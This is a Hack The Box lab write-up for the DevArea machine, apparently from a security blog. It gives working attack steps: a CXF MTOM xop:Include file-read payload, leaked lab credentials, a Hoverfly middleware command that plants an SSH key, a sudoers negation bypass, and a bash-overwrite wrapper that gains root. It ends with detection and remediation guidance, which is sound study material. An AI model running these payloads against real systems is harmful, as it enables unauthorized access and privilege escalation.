Skip to content
Back to all posts

HTB: DevArea

· 17 min medium Linux DevArea

Apache CXF MTOM SSRF reads credentials from systemd unit files, Hoverfly middleware provides RCE, and a world-writable /usr/bin/bash combined with a sudoers negation bypass delivers root.

Overview

DevArea is a medium Linux box running Ubuntu 24.04 with a multi-service architecture: an Apache CXF SOAP endpoint, a Hoverfly testing proxy, and a Flask monitoring application. The attack chain exploits a critical SSRF in Apache CXF’s MTOM processing (CVE-2022-46364) to read systemd unit files containing plaintext credentials. Those credentials unlock Hoverfly’s middleware API, which provides arbitrary code execution. Privilege escalation combines two weaknesses: a world-writable /usr/bin/bash and a sudoers rule using negation (!) that is trivially bypassed with an extra argument.

The box rewards source code analysis. The JAR file available via anonymous FTP contains the exact CXF version, and the Hoverfly systemd unit exposes credentials in the ExecStart line. Every step of the chain is discoverable through careful file reading.

Reconnaissance

I scan the top ports:

nmap -sC -sV -oA scans/devarea 10.129.18.140
PortServiceProduct / VersionNotes
21FTPvsftpd 3.0.5Anonymous login permitted
22SSHOpenSSH 9.6p1 UbuntuPost-exploitation access
80HTTPApache httpd 2.4.58Static site, redirects to devarea.htb
8080HTTPJetty 9.4.27Returns 404
8888HTTPGo net/http serverHoverfly admin dashboard

Five services. FTP allows anonymous login. Port 8080 runs Jetty (the container for Java web services). Port 8888 serves the Hoverfly dashboard, which requires authentication.

Attack Surface Analysis

FTP: application JAR

Anonymous FTP yields employee-service.jar (6.4 MB) from the pub/ directory. Decompilation with jadx reveals:

  • ServerStarter publishes a JAX-WS endpoint at http://0.0.0.0:8080/employeeservice
  • EmployeeServiceImpl exposes a submitReport operation
  • Dependencies include Apache CXF 3.2.14 with the Aegis databinding module

CXF 3.2.14 falls within the vulnerable range for CVE-2022-46364. The WSDL endpoint confirms the service is live:

curl http://devarea.htb:8080/employeeservice?wsdl

Hoverfly dashboard

Port 8888 serves Hoverfly’s admin dashboard. The API requires JWT authentication. Without credentials, this is inaccessible.

Vulnerability Analysis

CVE-2022-46364: MTOM XOP SSRF

AttributeValue
CVECVE-2022-46364
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-918 (Server-Side Request Forgery)
Root causeCXF resolves xop:Include href URIs server-side during MTOM attachment processing
AffectedCXF 3.2.x (EOL), fixed in 3.4.10 and 3.5.5

MTOM (Message Transmission Optimisation Mechanism) is designed for efficient binary data transfer in SOAP. XOP (XML-binary Optimised Packaging) replaces inline data with xop:Include references. CXF’s Aegis databinding resolves these references to populate Java objects. The resolution logic follows arbitrary URIs, including file://, allowing unauthenticated file reads as the process user.

The fix restricts xop:Include URI resolution to cid: (Content-ID) references only, blocking file:// and external HTTP URIs. CXF 3.2.x was end-of-life and never received the fix.

Exploitation

Step 1: SSRF file read

The MTOM request requires multipart MIME encoding with an xop:Include element targeting the desired file:

<content>
  <xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
               href="file:///etc/passwd"/>
</content>

CXF returns the file content base64-encoded in a MIME attachment. The response confirms the service runs as dev_ryan (uid 1000).

Step 2: credential extraction from systemd unit

Reading /etc/systemd/system/hoverfly.service reveals:

[Service]
ExecStart=/usr/local/bin/hoverfly -webserver -pp 8500 -ap 8888 \
  -username admin -password O7IJ27MyyXiU
User=hoverfly

Credentials in the ExecStart line: admin:O7IJ27MyyXiU.

The employee-service unit file reveals a InaccessiblePaths directive blocking direct reads of flag files. The box designer anticipated SSRF flag reads and placed this restriction, but other sensitive files remain accessible.

Step 3: Hoverfly middleware RCE

With valid credentials, I obtain a JWT from Hoverfly’s token endpoint:

curl -s -X POST http://devarea.htb:8888/api/token-auth \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"O7IJ27MyyXiU"}'

Hoverfly supports a middleware feature that executes a script for each proxied request. I set the middleware to a Python script that writes an SSH public key to dev_ryan’s home directory:

curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "binary": "python3",
    "script": "import sys,os,subprocess\ndata=sys.stdin.read()\nos.fork() or subprocess.run([\"sh\",\"-c\",\"mkdir -p /home/dev_ryan/.ssh && echo PUBKEY >> /home/dev_ryan/.ssh/authorized_keys\"])\nprint(data)"
  }'

Triggering the middleware with any proxied request:

curl -x http://devarea.htb:8500 http://example.com

SSH as dev_ryan succeeds. User flag captured.

Step 4: privilege escalation

sudo -l reveals:

(root) NOPASSWD: /opt/syswatch/syswatch.sh,
    !/opt/syswatch/syswatch.sh web-stop,
    !/opt/syswatch/syswatch.sh web-restart

The ! negation rules match exact argument strings. Adding any extra argument produces a different command string that does not match the deny rule:

sudo /opt/syswatch/syswatch.sh web-stop       # denied
sudo /opt/syswatch/syswatch.sh web-stop test   # allowed

Separately, /usr/bin/bash is world-writable (mode 0777). Overwriting it requires no running process to hold the binary mapped. A stale bash session held the binary locked. The solution: kill the stale process, then replace the current shell with dash via exec /usr/bin/dash to free the mmap.

With /usr/bin/bash freed, I install a wrapper script:

cat > /tmp/wrapper.sh << 'EOF'
#!/tmp/bash.real
if [ "$(id -u)" = "0" ]; then
    mkdir -p /root/.ssh
    echo "ssh-ed25519 AAAA...PUBKEY" >> /root/.ssh/authorized_keys
    cp /tmp/bash.real /usr/bin/bash
    chmod 777 /usr/bin/bash
fi
exec /tmp/bash.real "$@"
EOF
cp /tmp/wrapper.sh /usr/bin/bash

The wrapper checks the effective UID. When invoked as root via sudo, it writes the SSH key to /root/.ssh/authorized_keys and restores the real binary.

sudo /opt/syswatch/syswatch.sh --version
ssh -i id_rsa [email protected]

Root flag captured.

Post-Exploitation

The Flask SysWatch application at localhost:7777 was explored post-shell. The SECRET_KEY in /etc/syswatch.env allowed session cookie forgery for admin access. The web GUI had download endpoints and plugin management, but path traversal and command injection were blocked by input validation. This was an intentional dead end for the privilege escalation path.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190MTOM requests with file:// in xop:Include href
Credential accessT1552.001Audit reads of systemd unit files via non-standard processes
ExecutionT1059.006Python processes spawned by Hoverfly
PersistenceT1098.004SSH authorized_keys modifications
Privilege escalationT1548.003sudo invocations of syswatch.sh with unexpected arguments
Defence evasionT1574.007Modifications to /usr/bin/bash

Host-level: File integrity monitoring on system binaries (/usr/bin/, /bin/, /sbin/) would immediately detect the bash overwrite. Any change to a binary in these directories warrants an incident response.

Application-level: Hoverfly middleware configuration changes should be logged and alerted. The middleware API allows arbitrary code execution by design; in any environment where this is not operationally required, disable it.

Remediation

PriorityActionEffortImpact
P0Upgrade Apache CXF to 3.5.5+ or 3.4.10+MediumCritical
P0Fix /usr/bin/bash permissions to 755LowCritical
P1Move credentials out of systemd ExecStart linesLowHigh
P1Replace sudoers negation with explicit whitelistLowHigh
P1Restrict Hoverfly middleware API to trusted IPsMediumHigh
P2Remove anonymous FTP accessLowMedium
P2Protect Flask SECRET_KEY with strict file permsLowMedium
P3Disable Hoverfly middleware if not requiredLowMedium

The world-writable /usr/bin/bash is catastrophic independently of everything else. No user other than root should have write access to any binary in system directories. This single misconfiguration enables privilege escalation by any local user.

The sudoers negation bypass is documented in sudo’s own manual page. The ! operator matches exact command strings. If you need to restrict specific subcommands, whitelist the allowed set rather than blacklisting the denied set.

Key Takeaways

  1. Systemd unit files are credential stores in disguise. Credentials in ExecStart lines are readable by any process with filesystem access, including SSRF primitives. Use EnvironmentFile with restricted permissions instead.

  2. Sudoers ! negation is not a security boundary. Extra arguments produce distinct command strings that bypass exact-match deny rules. The sudo documentation explicitly warns about this. Whitelist, do not blacklist.

  3. ETXTBSY is a process problem, not a permissions problem. “Text file busy” means the kernel prevents modification of a binary that is currently mmap’d. The fix is identifying which process holds the binary and either killing it or replacing the current process via exec.

  4. Middleware APIs are authenticated RCE endpoints. Testing tools like Hoverfly, WireMock, and Mockoon frequently have configuration APIs that execute arbitrary code. Enumerate non-standard ports for proxy and simulation tooling.

  5. InaccessiblePaths reveals what matters. The systemd directive blocking flag file reads via SSRF immediately confirmed which files were sensitive and that other files were freely readable. Defensive controls that block specific paths broadcast the existence of those paths.